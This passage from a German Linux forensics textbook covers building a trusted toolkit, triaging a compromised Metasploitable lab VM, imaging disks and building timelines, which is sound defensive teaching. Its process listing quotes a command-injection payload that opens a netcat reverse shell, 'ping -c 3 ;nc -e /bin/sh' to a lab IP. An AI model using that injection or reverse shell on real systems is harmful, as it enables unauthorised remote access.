/var/log, /tmp und /var/www/html eingebunden sein und die Logs, die temporä- ren Dateien und das Basisverzeichnis des Webservers darstellen. Das mag nun auf den ersten Blick für manche Leser sehr verwirrend klingen, aber dieser Ansatz bietet einige Vorteile. So könnte man /tmp mit der Option noexec mounten (einhängen) und damit das Ausführen von Programmcode auf dieser Partition verbieten. Das klappt aber nur, wenn /bin und /sbin (Binaries und Superuser-Binaries) auf einer anderen Partition liegen. So kann auch verhindert werden, dass ein Volllaufen des Temp-Ordners das ganze System lahmlegt. Spezielle Verzeichnisse wie /dev (Devices) oder /proc (Processes) stellen Schnittstellen zur Hardware oder zum RAM-Speicher dar. Wenn Sie zB die erste Partition der ersten Festplatte (/dev/sda1) klonen wollen, müssen Sie nur diese Datei mit dem dd-Befehl kopieren. Gleiches gilt für den Zugriff auf Prozess-Informationen - wenn Sie mehr über einen Prozess wissen wollen, reicht ein ls /proc/3551: arch_status attr autogroup auxv cgroup clear_refs cmdline comm coredump_filter cpuset cwd environ exe fd fdinfo gid_map io limits loginuid map_files maps mem mountinfo mounts mountstats net ns numa_maps oom_adj oom_score oom_score_adj pagemap patch_state personality projid_map root sched schedstat sessionid setgroups smaps smaps_rollup stack stat statm status syscall task timers timerslack_ns uid_map wchan oder sudo cat /proc/3551/stack [sudo] Passwort für mark: [<0>] poll_schedule_timeout.constprop.13+0x46/0x70 [<0>] do_select+0x60d/0x7a0 [<0>] core_sys_select+0x2b1/0x3f0 [<0>] kern_select+0xb7/0x100 [<0>] __x64_sys_select+0x24/0x30 [<0>] do_syscall_64+0x57/0x190 [<0>] entry_SYSCALL_64_after_hwframe+0x44/0xa9 Wenn Sie keinerlei Linux-Erfahrung haben, sollten Sie sich unbedingt genauer in das Betriebssystem einarbeiten denn Linux wird immer wichtiger und immer 287
mehr Geräte von Embedded Systems und IoT-Geräten über Telefone, Tablets, Router und Server bis hin zu normalen Workstations nutzen heute Linux. MAC Timestamps MAC steht hierbei für Modification, Access und Change of Metadata - also die Zeitstempel der Veränderung des Inhaltes, des letzten Zugriffs und der Veränderung der Metadaten wie zB bei Änderung des Besitzers oder der Zugriffsrechte. Es gibt also keine Informationen wann eine Datei erstellt wurde in den Zeitstempeln. Diesen Unterschied zu Windows sollte man unbedingt im Hinterkopf behalten! Es wäre allerdings keine Regel, wenn es nicht auch Ausnahmen davon gibt - so gibt es zB in EXT4 auch einen Eintrag für das Erstellungsdatum! Vorbereiten der forensischen Untersuchung Eigentlich sollten die meisten Tools die ihnen einen Überblick über das System geben und die dazu verwendet werden können um Beweise zu sichern bereits auf jedem Linux-System installiert sein. Wenn ein Computersystem erfolgreich angegriffen wurde, würde ich allerdings davon abraten die darauf installierten Tools zu verwenden. Natürlich gilt dies auch für Windows! Unter Linux ist es ganz einfach einen Datenträger mit den wichtigsten Programmen zusammenzustellen. Damit stellen Sie sicher, dass Sie mit Befehlen arbeiten können, die beispielsweise nicht von einem Rootkit manipuliert wurden! Dazu müssen Sie lediglich ein paar Dateien von einem anderen System auf einen Datenträger kopieren. Hierbei sollten das zu untersuchende System und das System von dem die Dateien stammen möglichst ähnlich sein und paranoid wie wir IT-Forensiker eigentlich sein sollten, wäre die Verwendung eines Writeblockers anzuraten damit eventuell vorhandene Schadware nicht Ihre zusammengestellten Systemprogramme manipulieren kann. Sehen wir uns also an, wie wir einen solchen Datenträger erstellen: Bevor wir die Dateien auf den USB-Stick kopieren können, müssen wir diesen mit einem passenden Linux-Dateisystem formatieren. Ich verwende hier ext4: 288
root@videobuntu:~# umount /dev/sdc1 root@videobuntu:~# mkfs.ext4 /dev/sdc1 mke2fs 1.44.1 (24-Mar-2018) A file system with 953088 (4k) blocks and 238560 inodes is created. File system UUID: 26ffedbb-bbbc-454e-a7c9-dc1bbd37f008 Superblock backup copies stored in the blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736 when requesting memory for the group tables: done Inode tables are written: done The journal (16384 blocks) is created: done The super blocks and the information about the file system usage will be written: done Danach können wir dem Datenträger einhängen und die Ordner /bin und /sbin darauf kopieren: root@Lab2:~# mount /dev/sdc1 /mnt root@Lab2:~# cd /mnt/ root@Lab2:/mnt# cp -rp /bin . root@Lab2:/mnt# cp -rp /sbin . Außerdem kopiere ich noch die Programme dcfldd und ddrescue als alternativen zum dd-Befehl: root@Lab2:/mnt# cp /usr/bin/dcfldd bin/ root@Lab2:/mnt# cp /usr/bin/ddrescue bin/ Zusätzlich zu den Programmen benötigen die die Programmbibliotheken, auch "Shared Objects" genannt: root@Lab2:/mnt# cp -rp /lib* . Danach können wir den Datenträger aushängen: root@Lab2:/mnt# cd root@Lab2:~# umount /mnt Diesen so vorbereiteten Datenträger können wir nun auf einem zu untersuchenden System anschließen. (root@kali)-[~]# mount /dev/sdc1 /mnt -o ro 289
Bedenken Sie, dass Sie auch dem mount-Befehl nicht vertrauen können und darum ist ein ReadOnly-Mount (-o ro) nicht ausreichend. Verwenden Sie einen Writeblocker! Ich gebe -o ro trotzdem an, damit das System auf den Writeblocker vorbereitet ist und im besten Fall erst gar nicht versucht schreibend auf den Datenträger zuzugreifen. Dann sehe ich mir die Systemvariablen $PATH und $LD_LIBRARY_PATH an: (root@kali)-[~]# echo $LD_LIBRARY_PATH (root@kali)-[~]# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/ .dotnet/tools Diese legen fest wo ausführbare Programme gesucht werden und wo sich zusätzliche Shared Objects befinden. Diese Informationen dokumentiere ich meist mit einem Foto des Bildschirms mit meiner Digitalkamera. Wir können an dieser Stelle dem System noch nicht vertrauen und somit auch nicht wissen, ob eine Datei mit diesen Informationen nicht vielleicht von Schadware verändert würde. Außerdem ist es immer gut den Zustand des Systems am Anfang mit Fotos festzuhalten um später zB Beweise dafür zu haben ob ein User eingeloggt oder ob das System eingeschalten war. Außerdem sollten wir dokumentieren was wir an welcher Stelle gefunden haben und in welchem Zustand (eingeschalten, ausgeschalten, defekt, usw.). Als nächstes verändern wir diese Systemvariablen um nur noch die von uns bereitgestellten Programme ausführen zu können: (root@kali)-[~]# export PATH="/mnt/bin:/mnt/sbin" (root@kali)-[~]# export LD_LIBRARY_PATH="/mnt/lib:/mnt/lib32:/mnt/lib64: /mnt/libx32/" Danach können wir unsere Version von bash von unserem vorbereiteten Datenträger ausführen: (root@kali)-[/mnt/bin]# exec ./bash Command 'dircolors' is available in the following places * /bin/dircolors * /usr/bin/dircolors The command could not be located because '/bin:/usr/bin' is not included 290
in the PATH environment variable. dircolors: command not found root@kali:~# Ist das passiert, können wir auf der Forensik-Workstation bzw. unserem Laptop einen Netcat-Listener starten, der die Programmausgaben logt: mark@Lab2:/FILESERVER/Cases/2021_001$ nc -kl 3347 > live_infos.log Die Option -k steht hierbei für "keep alive" und beendet den Listener nicht nach dem Empfang von Daten und -l 3347 legt den Port 3347 fest. Gekürzt kann mal -k -l 3347 auch als -kl 3347 schreiben. Dann können wir die Ausgabe von unseren mitgebrachten Systembefehlen direkt auf unserer Workstation loggen. Dazu verwenden wir Piping: root@kali:~# root@kali:~# root@kali:~# root@kali:~# date | nc 192.168.1.2 3347 ifconfig | nc 192.168.1.2 3347 netstat | nc 192.168.1.2 3347 md5sum /bin/ls | nc 192.168.1.2 3347 Es kann vorkommen, dass hierbei die Befehle zu hängen scheinen und nicht beendet werden. Das kann mehrere Ursachen haben: 1. Der Empfangs-Port ist auf der Firewall unserer Workstation nicht freigegeben. Beenden Sie den Netcat-Listener und prüfen Sie ob Daten empfangen wurden und falls nicht, prüfen Sie ob der Port von außen erreichbar ist. 2. Prüfen Sie ob das zu untersuchende System eine Firewall besitzt, die diesen Port eventuell blockiert oder nur bestimmte Ports zulässt. In dem Fall starten Sie den Netcat-Listener auf Ihrer Workstation mit einem erlaubten Port - 80 oder 443 wären dabei die üblichen Kandidaten. 3. Prüfen Sie ob die Rechner sich gegenseitig erreichen können - zB mit dem ping-Befehl. 4. Werden Daten an Ihrer Workstation empfangen, kann es an verschiedenen Dingen liegen. Wir wollen allerdings die Eingriffe in ein zu untersuchendes System minimieren und darum ist in den Fall der beste Weg, dass Sie einfach den Empfang der Daten auf der Workstation überwachen - zB mit einem zweiten Terminal-Fenster und einem tail -f /FILESERVER/Cases/2021_001/ live_infos.log. Dann müssen Sie jeden Befehl nach dem Datenempfang am zu untersuchenden System mit Strg + C abbrechen. Natürlich können wir mit nc auch Dateien versenden - dazu starten Sie den Listener ohne -k Option: 291
mark@Lab2:/FILESERVER/Cases/2021_001$ nc -l 3347 > ls.tocheck Und dann können Sie die zu sendende Datei einfach in nc umlenken: root@kali:~# nc 192.168.1.2 3347 < /bin/ls Kommerzielle Tools machen diese Dinge ebenfalls für Sie und das deutlich komfortabler aber ich will Ihnen auch Wege zeigen wie Sie ohne tausende Euros in Programme zu investieren zum Ziel kommen. Je nach Fall gilt es oftmals zu entscheiden ob eine genaue Untersuchung gerechtfertigt ist oder nicht. Daher ist ein Briefing mit dem Kunden vor Beginn der Untersuchung sehr wichtig. Hierbei sollte man klären was untersucht werden soll bzw. was vorgefallen sein sollte. Teilweise kann man die möglichen Chancen der Untersuchung bereits zu diesem Zeitpunkt einschätzen. Nehmen wir an, ein intimes Video ist im Darknet aufgetaucht - hierbei wären die Chancen der Aufklärung eines solchen Falles sehr gering. Selbst wenn der Betreiber einer Darknet-Seite Zugriffe loggt und diese Logs herausgibt, wären die IP-Adressen nicht nutzbar da im Darknet Zugriffe über mehrere Rechner geleitet werden um die IP zu verschleiern. Das wäre ein gutes Beispiel für eine Untersuchung, die maximalen Aufwand bei minimalen Erfolgsaussichten bedeutet. Ein SQLi-Angriff auf die Firmenwebseite die bei einem Hoster liegt, rechtfertigt keinesfalls den Aufwand alle Rechner der Firma zu untersuchen um eine mögliche Kompromittierung dieser auszuschließen. Natürlich sollte man dies es Briefing auch schriftlich festhalten. Sollte sich bei der Untersuchung des Webspace dann herausstellen, dass in einem Bereich in dem sich die Mitarbeiter einloggen um zB Daten herunterzuladen Schadware in diversen ZIP-Dateien gefunden wurde, ist eine Ausweitung des Auftrags auf das Firmennetzwerk oder zumindest die betroffene Abteilung gerechtfertigt. So kann sich ein Auftrag auch im Laufe der Untersuchung vergrößern. Es ist meiner Meinung nach der seriöseste Weg immer mit dem geringsten Aufwand zu beginnen und dann zu prüfen ob ein weiterer Schritt gerechtfertigt ist oder auch nur irgendetwas darauf hindeutet ob bei einer genaueren Untersuchung etwas gefunden werden könnte. 292
Daher beginne ich in der Regel mit dem Erfassen der volatilen Daten und einem Triage-Tool bzw. einer manuellen Untersuchung auf diverse Hinweise einer Kompromittierung des Systems. Diese Dinge wären unter anderem folgende: > Datum, Uhrzeit und Zeitzone > Netzwerk-Konfiguration wobei ich zB auf Dinge wie Promiscuous Mode, abweichende DNS-Server, zusätzliche Netzwerkkarten, abweichende IPAdresse, etc. achte. > Aktive Netzwerkverbindungen > Auffällig hoher Netzwerk-Traffic > Laufende Programme > Laufende Serverdienste > Serverdienste die auf abweichenden Usern laufen (zB Apache als root und nicht als www-data) > Offene Ports und die Programme die auf diese lauschen > Routing-Tabellen > Geöffnete Dateien > Geladene Kernelmodule > Userkonten und eingeloggte User > Die Logins der letzten Zeit (denn ein temporär eingerichteter Backdoor-User könnte bereits gelöscht worden sein) > Weitere Auffälligkeiten in Log-Dateien All diese Dinge sind mit verhältnismäßig überschaubarem Aufwand zu überprüfen und kommerzielle Tools erlauben auch noch den Abgleich von Dateien mit bekannter Malware oder die Suche nach bekannten Angriffsmustern im LogDateien um diesen ersten Überblick noch schneller zu bekommen. Sollte man dann feststellen, dass der User www-data das Programm /bin/sh ausführt, Apache plötzlich als root läuft, der Büro-Arbeitsplatz diese Woche schon 1,2TB an Daten über das Netzwerk versendet hat, Userkonten existieren die es nicht geben sollte oder Programme mit Servern kommunizieren die dies nicht tun sollten, dann ist eine genauere Untersuchung definitiv gerechtfertigt. Das hier gesagte gilt natürlich gleichermaßen für OS X, Windows und alle anderen Betriebssysteme. 293
Es sind aber nicht immer nur Daten die uns auch etwas hinweisen - oftmals ist das Fehlen bestimmter Daten genauso ein Hinweis auf einen Vorfall. Wenn zB Logdaten nur die letzten 2 Tage umfassen und alles davor fehlt oder ein bestimmter Zeitraum fehlt, sollten alle Alarmglocken bei Ihnen schrillen! Um uns dies etwas praktischer anzusehen, nutzen wir an dieser Stelle eine VM mit dem Namen Metasploitable 2. Dazu benötigen wir Virtualbox: https://www.virtualbox.org/wiki/Downloads Und die VM vom Metasploitable 2: https://sourceforge.net/projects/metasploitable/ Nachdem wir Virtualbox installiert und Metasploitable extrahiert haben, können wir eine neue VM in Virtualbox anlegen mit dem OS-Typ "Linux 2.6, 3.x, 4.x 32bit" und 1024MB RAM. Als Festplatte wählen wir dann "vorhandene Datei" aus und geben den Pfad zur zuvor extrahierten Metasploitable.vmdk an. Bevor die die VM booten stellen Sie unter Netzwerk -> Adapter 1 die folgenden Werte ein: Angeschlossen an: Netzwerkbrücke Name: der Netzwerkadapter mit dem Sie an Ihr Netzwerk angeschlossen sind Sollten Sie beim Booten folgenden Fehler This kernel requires the following features not present on the CPU:pae Unable to boot – please use a kernel appropriate for your CPU. oder diesen Fehler This kernel requires the following features not present on the 0:6 Unable to boot – please use a kernel appropriate for your CPU. erhalten, setzen Sie unter System -> Prozessor den Haken bei PAE/NX aktivieren. Danach sollte Metasploitable starten. Wenn Sie sich mit dem User msfadmin und dem Passwort msfadmin einloggen, können Sie mit ip addr die aktuelle IP erfahren. 294
Ich habe danach den Webserver der VM aufgerufen und auf der Übersichtsseite DVWA ausgewält, mich mit dem User admin und dem Passwort password eingeloggt, die Sicherheit auf "low" gestellt (unter DVWA Security) und dann ein paar Angriffe ausgeführt die wir nachfolgend analysieren wollen. Sobald dies passiert ist, können wir uns das Live-System ansehen. Ich habe mich dazu per SSH auf die VM verbunden und mit sudo -i permanent auf den User root gewechselt: root@metasploitable:~# netstat -anp Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name ... Ausgabe gekürzt tcp 0 0 0.0.0.0:1524 0.0.0.0:* LISTEN 4537/xinetd 192.168.1.2:3347 ESTABLISHED 5011/sh ... Ausgabe gekürzt tcp 0 0 192.168.1.167:50209 ... Ausgabe gekürzt Am Port 1524 wartet eine root-shell. Das ist eine Hintertüre im System die ein Angreifer hinterlassen hat. In der Praxis wäre dies ein Port, den der Administrator weder eingerichtet hat noch kennt. Darum sehen wir uns diesen Prozess genauer an: root@metasploitable:~# ps -ef | grep 4537 root 4537 1 0 07:42 ? 00:00:00 /usr/sbin/xinetd -pidfile /var/run/xinetd.pid -stayalive -inetd_compat root 5246 4937 0 09:05 pts/1 00:00:00 grep 4537 Der Prozess wurde direkt von init gestartet, also sollten wir uns die Programmdatei von xinetd und die entsprechenden Konfigurationsdateien bei der Analyse der Festplatte genauer ansehen! Derartige Dinge vermerke ich mir gleich auf einer Todo-Liste für den nächsten Analyseschritt. Außerdem sollte sh auch nicht über den Port 3347 mit einem anderen Rechner kommunizieren. Dies sollte man sich ebenfalls genauer ansehen. Betrachten wir die gesamte Prozess-Liste, dann fällt uns am Ende der Liste folgendes auf: 295
root@metasploitable:~# ps -ef UID PID PPID C STIME TTY ... Ausgabe gekürzt www-data 5009 1 0 08:29 ? www-data 5011 5009 ... Ausgabe gekürzt 0 08:29 ? TIME CMD 00:00:00 sh -c ping -c 3 ;nc -e /bin/sh 192.168.1.2 3347 00:00:00 sh Das www-data das Programm sh (shell) ausführt, ist auch nicht gerade normal und wie dies zu stande kommt erklärt auch gleich die darüberliegende Zeile. sh -c ping -c 3 ;nc -e /bin/sh 192.168.1.2 3347 ist eine Reverse-Shell zu 192.168.1.2, die mit Hilfe von Netcat die über eine Command-Injection Lücke zu Stande gekommen ist. Der Prozess mit der PID 4537 wäre uns in der Prozessliste eventuell gar nicht aufgefallen aber der Port den er geöffnet hat, hat ihn verraten. Darum ist es auch wichtig sich verschiedenste Dinge anzusehen und mit mehreren Tools zu analysieren. Dann sehen wir uns an, wer sonst noch so eingeloggt ist: root@metasploitable:~# last sys pts/3 192.168.1.2 msfadmin pts/2 192.168.1.107 msfadmin pts/1 192.168.1.168 msfadmin tty1 msfadmin tty1 root pts/0 :0.0 reboot system boot 2.6.24-16-server Wed Wed Wed Wed Wed Wed Wed Oct Oct Oct Oct Oct Oct Oct 27 27 27 27 27 27 27 12:10 - 12:10 (00:00) 12:09 still logged in 08:20 still logged in 08:03 still logged in 08:03 - 08:03 (00:00) 07:42 still logged in 07:42 - 12:10 (04:28) Hier fällt uns auf, dass wir die Logins von www-data nicht finden. Da diese Logins nicht auf herkömmlichen Wegen zu Stande gekommen sind, führt Sie der last Befehl auch nicht auf. Natürlich ist dies keinesfalls eine Vollständige erste Analyse und je nach dem was gefunden wird oder was auch nicht gefunden wird, würde ich an dieser Stelle abbrechen und nur noch die volatilen Daten wie RAM-Dump, RoutingTabellen, etc. abgreifen und dann den Rechner vom Strom trennen ohne diesen ordentlich herunterzufahren. Auch Linux räumt einige Dinge auf, wenn der Rechner heruntergefahren wird und vernichtet so eventuell Beweise. Sie sollten aber den sync Befehl zuvor manuell ausführen, damit alle Änderungen an Dateien noch auf die Festplatte geschrieben werden. Dann würde ich mit dem Klonen der Datenträger beginnen. 296
Erstellen eines forensischen Images mit Linux Wir wollen uns in diesem Kapitel nicht nur ansehen wie wir Linux-Systeme forensisch untersuchen, sondern auf wie wir derartige Untersuchungen mit Linux-Bordmitteln durchführen. Daher wollen wir uns als erstes ansehen wie wir ein Image erstellen und dann mounten. Man könnte mit UDEV-Regeln das Verhalten beim Mounten von Geräten für zB einen USB-Hub derart manipulieren, dass alle Datenträger die daran angeschlossen werden, als Read-Only gemountet werden. Trotzdem bin ich kein Freund dieser Lösung - stellen Sie sich vor ein Fall landet vor Gericht und Sie müssen dann einem Richter, der nicht einmal weiß was Linux ist, erklären warum Ihre UDEV-Regeln genauso gut sind wie ein Writeblocker. Ersparen Sie sich derartige Kopfschmerzen und investieren Sie zumindest ein paar hundert EUR bzw. USD in einen USB-Writeblocker wie den Tableau T8u da ein Guardonix unter Linux leider nicht läuft! Wenn Sie einen Datenträger unter Linux anschließen, können Sie darauf über eine Gerätedatei, die Sie unter /dev finden, zugreifen. USB-Datenträger werden als sdX bezeichnet, wobei das X für einen Index-Buchstaben steht. /dev/sda ist also der erste SATA oder USB-Datenträger, /dev/sdb der zweite, usw. Außerdem gibt es Gerätedateien für die einzelnen Partitionen - diese heißen wie die Datei des Datenträgers mit einer fortlaufenden Partitionsnummer. /dev/sda1 wäre damit die erste Partition auf sda und /dev/sdb1 wäre die erste Partition auf sdb. Um ein Image zu erstellen haben wir drei Möglichkeiten: > dd (einfaches klonen von Dateien und Datenträgern) > dcfldd (dd mit integrierter Hashberechnung und Protokollgenerierung für den forensischen Einsatz) > ddrescue (eine spezielle Variante von dd, die das Klonen von beschädigten Datenträgern erlaubt, gut aber nicht so mächtig wie ein Guardonix oder dezidierte Datenrettungshardware) Die einfachste Möglichkeit wäre folgender Befehl: 297
dd if=/dev/sdb2 of=/mnt/d/Metasploitable2-Linux/test_image.dd bs=512 Hierbei wird bei if= der Pfad zur Quelle angegeben und bei of= der Pfad zum Ziel. Mit bs= legt man die Blockgröße fest, hier zB 512 Byte. Mit der Blockgröße können Sie einiges an Geschwindigkeitsoptimierung erreichen aber der Speicherplatz der Platte muss sich ohne Rest genau durch die Blockgröße teilen lassen da sonst der letzte Teil der Platte nicht geklont wird. Daher ist bs=512 bzw. bs=4k für EF-Festplatten der langsamste aber auch sicherste Wert! EF steht für Extended Format und kommt bei neueren Platten zum Einsatz die 4kb große Sektoren haben. Achten Sie darauf denn eine EFPlatte mit bs=512 zu klonen funktioniert zwar, bedeutet aber, dass jeder Sektor 8x gelesen und aufgesplittet wird um dann nur 512 Byte an dd zu liefern. Ich bin kein Freund von dcfldd da ich mit der Art und Weise der Checksummenberechnung nicht sehr glücklich bin. Aber sehen Sie selbst: kali@Lab3:/mnt/d/Metasploitable2-Linux$ dcfldd age.dd hash=md5,sha1 hashlog=hashlog.txt 25088 blocks (784Mb) written. 25088+0 records in 25088+0 records out if=/dev/sdb2 of=test_im- kali@Lab3:/mnt/d/Metasploitable2-Linux$ age.dd verifylog=verifylog.txt Total: Match if=/dev/sdb2 vf=test_im- dcfldd Sehen wir uns das Hashlog an: kali@Lab3:/mnt/d/Metasploitable2-Linux$ cat hashlog.txt Total (md5): de016616a558471a89ad07841383e7b7 Total (sha1): 000ca6388a289344e7a12a84e902d87fc29d5e3e Das können wir selber besser: kali@Lab3:/mnt/d/Metasploitable2-Linux$ md5sum /dev/sdb2 test_image.dd de016616a558471a89ad07841383e7b7 /dev/sdb2 de016616a558471a89ad07841383e7b7 test_image.dd kali@Lab3:/mnt/d/Metasploitable2-Linux$ sha1sum /dev/sdb2 test_image.dd 000ca6388a289344e7a12a84e902d87fc29d5e3e /dev/sdb2 000ca6388a289344e7a12a84e902d87fc29d5e3e test_image.dd 298
Die dritte Option wäre ddrescue: kali@DESKTOP-ELDLDT6:/mnt/d/Metasploitable2-Linux$ ddrescue -n -d /dev/sdb2 test_image.dd cloning.log GNU ddrescue 1.23 Press Ctrl-C to interrupt ipos: 822018 kB, non-trimmed: 0 B, current rate: 146 MB/s opos: 822018 kB, non-scraped: 0 B, average rate: 274 MB/s non-tried: 0 B, bad-sector: 0 B, error rate: 0 B/s rescued: 822083 kB, bad areas: 0, run time: 2s pct rescued: 100.00%, read errors: 0, remaining time: n/a Hierbei können wir mit -d (direct access) den Kernel-Cache umgehen und direkt auf die Quelle zugreifen und mit -n (no scrape) verhindern, dass mehrere Leseversuche stattfinden, wenn ein Sektor nicht gelesen werden kann. Außerdem geben wir als letzte Datei eine Logdatei an, in der vermerkt wird welche Sektoren gelesen und welche übersprungen wurden. Das ist nicht nur für die Dokumentation wichtig, sondern auch für das Imaging von defekten Datenträgern! Wenn wir eine Festplatte haben, die nicht in Ordnung ist, wäre es fatal diese lange an problematischen Stellen arbeiten zu lassen, weil dies den Schreib-/ Lesekopf stark belastet und so zum vorzeitigen Ausfall führen kann. Daher wollen wir in einem ersten Durchgang Daten klonen, die einfach zu lesen sind und wenn wir diese gesichert haben, füllen wir die Lücken aus diesem ersten Durchgang mit folgendem Kommando: ddrescue -r /dev/sdb2 test_image.dd cloning.log Damit füllen wir die zuvor noch nicht geklonten Bereiche und zwar vom Ende zum Anfang (-r steht für reverse). Da wir diesmal die Option -n weglassen wird aggesiver versucht noch Daten aus den zuvor übersprungenen Bereichen zu lesen. Man sollte eine solche Festplatte aber niemals unbeaufsichtigt lassen, wenn der Schreib-/Lesekopf ausfällt, droht eine mechanische Beschädigung der Oberflächen der Magnetscheiben. Daher muss jemand vor Ort sein, um in einem solchen Fall einzugreifen und den Vorgang sofort zu stoppen! 299
Untersuchen und Mounten eines Images Nachdem wir ein Image gemacht, verifiziert, kopiert und die Kopie verifiziert haben, können wir damit beginnen die Daten zu untersuchen. Zuerst sollten wir uns die Partitionsstruktur ansehen - dazu können wir fdisk verwenden: kali@Lab3:/mnt/d/Metasploitable2-Linux$ fdisk full_drive.img Welcome to fdisk (util-linux 2.37.2). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. Command (m for help): p Disk full_drive.img: 8 GiB, 8589934592 bytes, 16777216 sectors Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0xc3a20c42 Device Boot Start End Sectors Size Id full_drive.img1 63 481949 481887 235.3M 83 full_drive.img2 481950 16771859 16289910 7.8G 5 full_drive.img5 482013 16771859 16289847 7.8G 8e Type Linux Extended Linux LVM Wie wir sehen können, haben wir hier eine Linux-Partition und eine Erweiterte Partition mit einer LVM-Partition darin. LVM steht für Logical Volume Manager und dieser ermöglicht eine abstrahierte und flexible Verwaltung von Datenträgern. Im Gegensatz zum klassischen Weg über Partitionen wird eine weitere, höhere Abstraktionsschicht eingeführt, die eine einfache und effiziente Verwaltung und Konfiguration der Datenspeicher ermöglichen soll. Sie könnten mehrere Festplatten zu einem Logical Volume zusammenfassen und als einen logischen Datenspeicher verwenden oder so genannte Logical Volumes in Volume Groups zusammenfassen. Sehen wir uns zuerst an wie wir die klassische Partition mounten. Dazu benötigen wir nur den Startpunkt vom Beginn des Images: root@Lab3:/home/kali/Cases/2021_002$ mount -o ro,noatime,loop,offset= $[63*512] ./full_drive.img ./mountpoint/ Hierbei geben wir mit -o folgende Optionen an: 300
> > > > ro (read only) noatime (no access time update) loop (Nutze ein "Loop device" für das Mounten) offset= (Offset vom Anfang des Images zum Beginn der Partition in Bytes) Hierbei errechnen wir dies mit $[63*512] (Startsektor laut fdisk * 512 Byte / Sektor). Wie wir sehen, ist full_drive.img1 die Boot-Partition: root@Lab3:/home/kali/Cases/2021_002$ ls mountpoint/ abi-2.6.24-16-server lost+found config-2.6.24-16-server memtest86+.bin grub System.map-2.6.24-16-server initrd.img-2.6.24-16-server vmlinuz-2.6.24-16-server initrd.img-2.6.24-16-server.bak Um die LVM-Partitionen zu mounten benötigen wir folgende Befehle: root@Lab3:/home/kali/Cases/2021_002$ losetup /dev/loop7 full_drive.img root@Lab3:/home/kali/Cases/2021_002$ kpartx -ar /dev/loop7 Mit losetup verknüpfen wir ein Loop device mit der Image-Daten. Danach macht kpartx die LVM-Partitionen unter /dev/mapper verfügbar wobei -ar für "add read only" steht. root@Lab3:/home/kali/Cases/2021_002$ ls /dev/mapper/ control loop7p2 metasploitable-root loop7p1 loop7p5 metasploitable-swap_1 Danach können wir die Partition mounten und den Inhalt betrachten: root@Lab3:/home/kali/Cases/2021_002$ mount -o ro,noatime /dev/mapper/ metasploitable-root mountpoint/ root@Lab3:/home/kali/Cases/2021_002$ bin dev initrd lost+found boot etc initrd.img media cdrom home lib mnt ls mountpoint/ nohup.out root opt sbin proc srv sys tmp usr var vmlinuz Als nächstes sollten wir damit beginnen die Ereignisse aus den verschiedensten Datenquellen zusammenzutragen und in eine Timeline zu bringen... 301
Timeline erstellen Wir können mit folgendem Befehl die MAC-Timestamps der Dateien eine CSVDatei exportieren: root@Lab3:/home/kali/Cases/2021_002/mountpoint$ find ./var/www/ -printf "%Ax;%AT;%Tx;%TT;%Cx;%CT;%m;%U;%G;%s;%p\n" > ../var_www_times.csv Um weitere Informattionen zusammenzuführen kann es sehr praktisch sein, diverse Daten nicht in einzelnen Dateien zu verwalten sondern diese in einer SQLite Datenbank zusammenzuführen. Dazu habe ich ein kleines Script geschrieben, dass die Ausgaben von find in das US-Datumsformat bringt: root@Lab3:/home/kali/Cases/2021_002$ cat convert_date_to_us_format.py import sys lines = [] with open(sys.argv[1], "r") as f: for line in f: tmp = line.split(";") for i in [0, 2, 4]: tmp2 = tmp[i].split(".") tmp[i] = f"{tmp2[2]}-{tmp2[1]}-{tmp2[0]}" lines.append(";".join(tmp)) with open("converted_" + sys.argv[1], "w") as f: for line in lines: f.write(line) Und dann lassen wir das Script wie folgt laufen: root@Lab3:/home/kali/Cases/2021_002$ python3 convert_date_to_us_format.py var_www_times.csv Das ist wichtig, damit die Datenbank damit besser arbeiten kann. Also erstellen wir die Datenbank und importieren die Daten: root@Lab3:/home/kali/Cases/2021_002$ sqlite3 2021_002.sqlite SQLite version 3.34.1 2021-01-20 14:10:07 Enter ".help" for usage hints. 302
sqlite> CREATE TABLE file_list( adate TEXT NOT NULL, atime TEXT NOT NULL, mdate TEXT NOT NULL, mtime TEXT NOT NULL, cdate TEXT NOT NULL, ctime TEXT NOT NULL, perm INTEGER NOT NULL, uid INTEGER NOT NULL, gid INTEGER NOT NULL, sizeByte INTEGER NOT NULL, fname TEXT NOT NULL ); sqlite> .mode csv sqlite> .separator ; sqlite> .import converted_var_www_times.csv file_list Danach fügen wir die Usernamen ebenfalls in eine eigene Tabelle hinzu: sqlite> CREATE TABLE user_list( name TEXT NOT NULL, hash TEXT NOT NULL, uid INTEGER NOT NULL, gid INTEGER NOT NULL, info TEXT NOT NULL, home TEXT NOT NULL, shell TEXT NOT NULL ); sqlite> .separator : sqlite> .import mountpoint/etc/passwd user_list Und prüfen, ob das geklappt hat: sqlite> .mode box sqlite> select * from user_list limit 3; ┌────────┬──────┬─────┬─────┬────────┬───────────┬───────────┐ │ name │ hash │ uid │ gid │ info │ home │ shell │ ├────────┼──────┼─────┼─────┼────────┼───────────┼───────────┤ │ root │ x │ 0 │ 0 │ root │ /root │ /bin/bash │ │ daemon │ x │ 1 │ 1 │ daemon │ /usr/sbin │ /bin/sh │ │ bin │ x │ 2 │ 2 │ bin │ /bin │ /bin/sh │ └────────┴──────┴─────┴─────┴────────┴───────────┴───────────┘ 303
